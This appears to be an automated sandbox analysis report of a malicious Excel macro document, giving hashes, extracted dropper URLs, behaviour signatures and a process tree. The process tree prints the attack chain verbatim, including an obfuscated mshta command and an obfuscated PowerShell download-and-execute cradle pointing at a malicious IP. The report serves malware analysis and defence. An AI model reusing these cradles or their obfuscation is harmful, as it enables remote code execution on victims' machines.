Analysis

  • max time kernel
    50s
  • max time network
    82s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    19-01-2022 15:09

General

  • Target

    19871442-319056.xlsm

  • Size

    114KB

  • MD5

    762dc2ad8c9f6360ee9c107028d17253

  • SHA1

    ee1dcd803cc7fe4e267e080e6f16f09983ef3d49

  • SHA256

    04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908

  • SHA512

    5c4ac0430e8a5c7b3deafbd08014ce97a4b0aca115ff5d8db2479f95eb5c791fd807b520c5ed2e24f9c16501e88c6c8e8116de504b24699a9aee8239d77d90dc

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/sec.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\19871442-319056.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        PID:1668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
            PID:2080
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 1668 -s 1724
            4⤵
            • Program crash
            PID:1584
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 408 -p 1668 -ip 1668
      1⤵
        PID:2792

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2152-131-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/2152-132-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/2152-133-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/2152-134-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/2152-135-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/2152-138-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

        Filesize

        64KB

      • memory/2152-139-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

        Filesize

        64KB